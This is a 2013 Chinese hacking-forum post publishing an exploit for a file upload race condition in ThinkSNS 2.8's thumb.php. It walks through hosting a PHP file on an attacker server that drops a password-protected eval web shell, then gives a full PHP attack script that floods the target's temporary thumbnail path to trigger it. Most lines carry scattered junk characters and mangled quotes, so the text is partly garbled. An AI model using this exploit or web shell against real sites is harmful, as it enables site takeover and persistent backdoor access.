找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1990|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本
' k# [% r7 F$ F- b: {存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
- v" M) v* I3 W: ~$ N漏洞文件1 z4 @' r! c: b0 U4 k1 m
存在漏洞的文件为:thumb.php
( J. N/ ~4 k# B7 V* S作者:韦鲲鹏
' E, f% n, o/ z1 `1、        准备如下PHP文件并上传到服务器(自己的)。% m  M+ C! R3 m7 I, Q; H4 \7 ~
文件内容如下:" c7 d! q: M3 U
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
" p. r+ g$ b0 W! Y" G2、        计算出临时的文件名:
0 }& m; \5 c- w, a这里我们可以看文件的99行(刚刚是不是没注意呀!)。( |1 W% c7 x5 K- `1 A" D* c

- Z: j/ O. P4 h; I  f3、        上传临时文件。# G2 E7 z: r  r) f2 o0 ?2 {
4、        访问临时文件。
& I# T  }+ I+ N! z) _8 p* t. U3 R但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
1 [5 l% t: Q% M3 dExploit文件内容如下:(这个我就不详细解释了)
+ u, K' \( |, }/ O  ~<?php
0 A  x  v9 ]1 @5 o4 \error_reporting(0);
. I. y1 u7 i( |! C4 w/ l5 C: \set_time_limit(0);
( Q3 X7 }" z: P8 Hini_set(“default_socket_timeout”, 5);+ L* r: u: w: Q. s, v3 A0 C+ i
function http_send($host, $port, $headers) {9 k3 U' m9 C0 x' G5 Z
$fp = fsockopen($host, $port);
" U: z, A2 c) U4 m( d) W* b! Dif (!$fp) die(‘Connection -> fail’);
% z4 H" S( ]& F" I8 a' xfputs($fp, $headers);
. M2 m' \3 ]' d( ^) Q' C' Lreturn $fp;
: s/ I; @+ Y5 w- |: H9 |" y- x}! S# g$ h4 f6 G6 U7 b0 l' S7 ~
function http_recv($fp) {' v& B% w0 b4 T' W/ P
$ret=”";" |4 [6 a! R/ Z! s/ o6 F
while (!feof($fp))7 {/ k/ \0 e5 A1 ~. C( ], Z
$ret.= fgets($fp, 1024);
. ?8 f" ~; c4 U8 |6 @/ E% D/ M- nfclose($fp);0 ]6 r# c+ [6 Z
return $ret;
4 {( r5 f/ I% j3 B, {/ R# C}$ O6 N7 ?; G+ {2 [$ @+ T: `7 H4 H
print “\n#  ThinkSns Arbitrary File Upload   #\n”;
( M/ u3 O* U2 F- Z) t4 `print “# Discovered by 韦鲲鹏 #\n\n”;; }0 @# z3 B( y
if ($argc < 4) {
2 Z7 b. }6 W$ P: Zprint “Usage:   php <host> <path> <romote_url>\n”;
' c5 a: I: }$ Jprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;+ ?; J. b( `( S6 q+ B5 O+ Y( B* S
die();* y- O8 Z3 Y9 m+ f
}& n) W% G. S& Z1 O6 n
$host = $argv[1];  o5 m- Z& }: @2 u/ q9 N
$path = $argv[2];3 `* k" J: W4 W  U- R; C/ j' v4 d, ~
$url = $argv[3];2 [1 I' z5 Y% d7 q; j- f
$i=0;
0 X. V. N3 ?# v) \& U0 D//上传数据包
1 a' w9 @( e! P7 C$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
: }6 A) l& w! [6 M( L2 O  F$headers_up .= “Host: “.$host.”\r\n”;& D% Y( _3 L; |+ d
$headers_up .= “Connection: close\r\n\r\n”;
; R: f6 O0 H) Z. ]echo $headers_up;9 u( c% S  E. s
//临时文件访问数据包
5 Y' k9 u7 @% {1 ^  H$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;2 R& X% b. `/ z7 `
$headers .= “Host: “.$host.”\r\n”;; V; P& |8 t+ E% s2 t" t% U
$headers .= “Connection: close\r\n\r\n”;
4 Z; o" C: i% _echo $headers;
. `' O/ B) w, D/ w8 |while(++$i<10) {& x0 Q/ I% V! }8 r3 w* t. B4 Y
fclose(http_send($host, 80, $headers));
6 I1 S3 x" p  r# D* X6 H- a1 ?}
, \$ ^' m( z/ c7 J! K9 N' _fclose(http_send($host, 80, $headers_up));4 c# w8 u3 ~6 G% M
while(++$i<50) {9 T+ Q* ]6 I: V/ Y5 [3 K- E
fclose(http_send($host, 80, $headers));
3 @3 I) ^7 E1 z" U5 f6 x8 n. l8 y}
  v& `5 c) ]- h. r3 e$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
$ B& \1 ]( N$ a; u$ l1 p/ r$headers .= “Host: “.$host.”\r\n”;
  D+ I6 v; Z: _) t$headers .= “Connection: close\r\n\r\n”;' I8 y+ o" k: i+ g& ]
$res=http_recv(http_send($host, 80, $headers));1 N& O3 F4 M7 E; Y7 r9 Y
if(preg_match(‘/200 OK/’,$res)) {
! V  _8 J+ @& Y: N6 J0 Z& A- }print “Success!\n\n”;8 t. \9 ]- Z' Q3 c2 S7 W5 m
} else {
/ U" K' w* s, H( |: L4 M# Vprint “Fail!\n\n”;
" K  q/ g3 `! X) u" b}) q$ @' A4 B. a5 ]. U2 s
?>
4 E& r# U' Y; U, T( Y8 e& a
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表